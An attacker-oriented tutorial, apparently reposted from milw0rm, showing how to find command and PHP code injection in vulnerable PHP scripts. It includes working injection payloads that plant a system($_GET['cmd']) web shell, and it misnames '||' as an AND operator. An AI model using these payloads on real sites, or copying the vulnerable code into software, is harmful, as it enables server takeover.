pastebin

How to find RCE in scripts
  1. How to find RCE in scripts (with examples)
  2.                               by Sirgod                    
  3.                           insecurity-ro.org          
  4.                                  h4cky0u.org              
  5.  
  6.  - In this tutorial I will show you how to find Remote Command Execution vulnerabilities
  7. in PHP Web Applications (scripts).
  8.  - Through Remote Command Execution vulnerabilities you can execute commands on the
  9.  webserver.
  10.  - I will present 4 examples + the basic one.
  11.  - I will start with a basic example.
  12.  
  13.  file : index.php
  14.  
  15. Code snippet :
  16.  
  17. <?php
  18. $cmd=$_GET['cmd'];
  19. system($cmd);
  20. ?>
  21.  
  22.  So if we do the following request
  23.  
  24. index.php?cmd=whoami
  25.  
  26.  Our command will be executed.
  27.  
  28.  In PHP is more functions that let you to execute commands :
  29.  
  30. exec — Execute an external program
  31. passthru — Execute an external program and display raw output
  32. shell_exec — Execute command via shell and return the complete output as a string
  33. system — Execute an external program and display the output
  34.  
  35.  if in script is used exec() you can't see the command output(but the command is executed)
  36. until the result isn't echo'ed from script.Example :
  37.  
  38. <?php
  39. $cmd=$_GET['cmd'];
  40. echo exec($cmd);
  41. ?>
  42.  
  43. But this is only an basic example of Remote Command Execution.You will neved find this
  44. in PHP scripts unless the coder is a monkey.
  45.  
  46.  
  47. 1) - Lets start with an real-life example.All the following examples is real-life.All of
  48. them are discovered by me in different php scripts.
  49.  
  50. The 1st example is an whois lookup script,they execute command in terminal to do that.
  51. Works only on *NIX systems.
  52.  
  53. Lets take a look in dig.php file :
  54.  
  55. Code snippet :
  56.  
  57. <?php
  58.  
  59.    include("common.php");
  60.    showMenu();
  61.    echo '<br>';
  62.         $status = $_GET['status'];
  63.         $ns  = $_GET['ns'];
  64.         $host   = $_GET['host'];
  65.         $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
  66.         $ip     = $_SERVER['REMOTE_ADDR'];
  67.         $self   = $_SERVER['PHP_SELF'];
  68.  
  69. ..................................................................................
  70.  
  71.                   $host = trim($host);
  72.                   $host = strtolower($host);
  73.                   echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
  74.                   echo '<pre>';
  75.                   //start digging in the namserver
  76.               system ("dig @$ns $host $query_type");
  77.                   echo '</pre>';
  78.         } else {
  79. ?>
  80.  
  81. We are interested in these lines :
  82.  
  83.        $ns  = $_GET['ns'];
  84.    system ("dig @$ns $host $query_type");
  85.        
  86. The "ns" variable is unfiltered and can be modified by user.An attacker can use any command
  87. that he want through this variable.We can execute commands like in the previous example.
  88. If we request :
  89.  
  90.   dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
  91.  
  92. Will not work.Why?The code will be
  93.  
  94.     system ("dig whoami sirgod.com NS");
  95.          
  96. and that command dont exist and the execution will fail.What to do to work?In *NIX systems
  97. we have the AND operator who can be used in terminal.That operator is ||.So if we make a
  98. request like this :
  99.  
  100.  dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
  101.  
  102. our command will be succesfully executed.Look at the code :
  103.  
  104.     system ("dig ||whoami|| sirgod.net NS");
  105.          
  106. will execute the command separately than "dig" and the other.
  107.  
  108.  
  109. 2) - Lets continue with another example,little bit complicated than first.
  110.  
  111. Some scripts let you to modify the configuration of website after install.Bad mistake
  112. because usually configuration files is .php .
  113.  
  114. So we have the script instaled.We look in the admin.php file
  115.  
  116. Code snippet :
  117.  
  118.  if(isset($action) && $action == "setconfig") {
  119.    $config_file = "config.php";
  120.    $handle = fopen($config_file, 'w');
  121.    $StringData = "<?php\r
  122.         $"."news_width = '".clean($_POST[news_width])."';\r
  123.         $"."bgcolor = '".clean($_POST[bgcolor])."';\r
  124.         $"."fgcolor = '".clean($_POST[fgcolor])."';\r
  125.         $"."padding = '".clean($_POST[padding])."';\r
  126.         $"."subject_margin = '".clean($_POST[subject_margin])."';\r
  127.         $"."fontname = '".clean($_POST[fontname])."';\r
  128.         $"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
  129.    fwrite($handle, $StringData);
  130.  }
  131.  
  132.  We see here that the script save the settings in config.php file.
  133.  
  134.  Now let's see the config.php file content :
  135.  
  136. Code snippet :
  137.  
  138. <?php
  139.         $news_width = '600px';
  140.         $bgcolor = '#000000';
  141.         $fgcolor = '#ffffff';
  142.         $padding = '5px';
  143.         $subject_margin = '0px';
  144.         $fontname = 'verdana';
  145.         $fontsize = '13px';
  146. ?>
  147.  
  148.  So we cand inject php code in news_width for example .Now,the things will be
  149. more complicated.We can inject our code but we must pay attention to the code.
  150. I will show you an example to understand what I say.
  151.  
  152.  We will inject the following php code in news_width variable.The code will be
  153. written into config.php file.Let's go to admin.php?action=setconfig file and
  154. inject the code.
  155.  
  156. Code :
  157.  
  158. <?php system($_GET['cmd']); ?>
  159.  
  160. The code will become :
  161.  
  162. <?php
  163.         $news_width = '<?php system($_GET['cmd']); ?>';
  164.         $bgcolor = '#000000';
  165.         $fgcolor = '#ffffff';
  166.         $padding = '5px';
  167.         $subject_margin = '0px';
  168.         $fontname = 'verdana';
  169.         $fontsize = '13px';
  170. ?>
  171.  
  172.  And that is wrong.if we request the config.php file we will get an parse error:
  173.  
  174. Parse error: parse error in C:\wamp\www\config.php on line 3
  175.  
  176.  So we must inject something more complicated.
  177.  
  178. ';system($_GET['cmd']);'
  179.  
  180.  Why this code?Look,the code inside config.php file will become :
  181.  
  182. <?php
  183.         $news_width = '';system($_GET['cmd']);'';
  184.         $bgcolor = '#000000';
  185.         $fgcolor = '#ffffff';
  186.         $padding = '5px';
  187.         $subject_margin = '0px';
  188.         $fontname = 'verdana';
  189.         $fontsize = '13px';
  190. ?>
  191.  
  192.  Lets split it :
  193.  
  194.         $news_width = '';
  195.         system($_GET['cmd']);
  196.         '';
  197.        
  198.  No parse error,so we can succesfully execute our commands.Let's make the request :
  199.  
  200. config.php?cmd=whoami
  201.  
  202. No more || because we don't need,only our command is executed.
  203.  
  204.  
  205. 3) - Lets go to the next example.In this script the news are saved in news.txt file.
  206.  
  207.  Lets see the contents of news.txt file :
  208.  
  209. <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
  210.  
  211.  We can add what we want.We can inject our code and nothing will happen because is .txt file?Wrong.
  212. Lets search deeper the script.We go to post news by accessing post.php .
  213.  
  214.  Lets take a look in post.php
  215.  
  216. $newsfile = "news.txt";
  217. $file = fopen($newsfile, "r");
  218. ..........................................................................
  219.  elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
  220. (isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
  221. ($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
  222. $current_data = @fread($file, filesize($newsfile));
  223. fclose($file);
  224. $file = fopen($newsfile, "w");
  225. $_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
  226. $_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
  227. $_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
  228. if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data))
  229. include 'inc/posted.html';
  230. else
  231. include 'inc/error1.html';
  232. fclose($file);
  233. }
  234.  
  235.  We can see here how the news are written in news.txt file.Input not filtered of course.
  236.  Now the news must be displayed to visitors.How the script do that?Lets take a look in
  237. display.php file.
  238.  
  239. Code snippet :
  240.  
  241. <?
  242. include("news.txt");
  243. ?>
  244.  
  245.  Nice,the news.txt content is included in display.php file.What we do?We go to post.php
  246. and add some news.
  247.  We will inject our code in "title" variable.We write there the following code :
  248.  
  249.  <?php system($_GET['cmd']); ?>
  250.  
  251.  so the news.txt content will become :
  252.  
  253. <table class='sn'> <tbody> <tr><td class='sn-title'>  <?php system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div>
  254.  <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
  255.  
  256.  And our evil code is there.Let's take a look in display.php .That file include the content of news.txt,
  257. so the code in display.php will look like :
  258.  
  259. <?
  260. <table class='sn'> <tbody> <tr><td class='sn-title'>  <?php system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div>
  261. <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
  262. ?>
  263.  
  264. No parse error or any other problem so we can go to :
  265.  
  266. display.php?cmd=whoami
  267.  
  268. and execute succesfully our commands.
  269.  
  270. 4) - Now a little bit complicated script than the previous scripts.
  271.  
  272. In this script,when we register,our details will be saved in php files.
  273. Lets take a loog in add_reg.php file :
  274.  
  275. Code snippet :
  276.  
  277. $user = $_POST['user'];
  278. $pass1 = $_POST['pass1'];
  279. $pass2 = $_POST['pass2'];
  280. $email1 = $_POST['email1'];
  281. $email2 = $_POST['email2'];
  282. $location = $_POST['location'];
  283. $url = $_POST['url'];
  284. $filename = "./sites/".$user.".php";
  285. ..............................................
  286. $html = "<?php
  287. \$regdate = \"$date\";
  288. \$user = \"$user\";
  289. \$pass = \"$pass1\";
  290. \$email = \"$email1\";
  291. \$location = \"$location\";
  292. \$url = \"$url\";
  293. ?>";
  294. $fp = fopen($filename, 'a+');
  295. fputs($fp, $html) or die("Could not open file!");
  296.  
  297.  
  298. We can see that the script creates a php file in "sites" directory( ourusername.php ).
  299. The script save all the user data in that file so we can inject our evil code into one
  300. field,I choose the "location" variable.
  301.  
  302. So if we register as an user with the location (set the "location" value) :
  303.  
  304. <?php system($_GET['cmd']); ?>
  305.  
  306. the code inside ourusername.php will become :
  307.  
  308.  
  309. <?php
  310.         $regdate = "13 June 2009, 4:16 PM";
  311.         $user = "pwned";
  312.         $pass = "pwned";
  313.         $email = "pwned@yahoo.com";
  314.         $location = "<?php system($_GET['cmd']); ?>";
  315.         $url = "http://google.ro";
  316. ?>
  317.  
  318. So we will get an parse error.Not good.We must inject a more complicated code
  319. to get the result that we want.
  320.  
  321. Lets add this code :
  322.  
  323. \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
  324.  
  325. So the code inside ourusername.php will become :
  326.  
  327. <?php
  328.         $regdate = "13 June 2009, 4:16 PM";
  329.         $user = "pwned";
  330.         $pass = "pwned";
  331.         $email = "pwned@yahoo.com";
  332.         $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
  333.         $url = "http://google.ro";
  334. ?>
  335.  
  336. and we will have no error.Why?See the code :
  337.  
  338.        $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
  339.  
  340. Lets split it :
  341.  
  342.        $location = "";
  343.         ?>
  344.         <?php system($_GET['cmd']);?>
  345.         <?php $xxx=":D";
  346.  
  347. We set the location value to "",close the first php tags,open the tags
  348. again,wrote our evil code,close the tags and open other and add a variable
  349. "xxx" because we dont want any error.I wrote that code because I want no
  350. error,can be modified to be small but will give some errors(will not
  351. stop us to execute commands but looks ugly).
  352.  
  353. So we can go to :
  354.  
  355.         sites/ourusername.php?cmd=whoami
  356.  
  357. and successfully execute our commands.
  358.        
  359. Shoutz to all members of insecurity-ro.org and h4cky0u.org
  360.  
  361. # milw0rm.com
Parsed in 0.207 seconds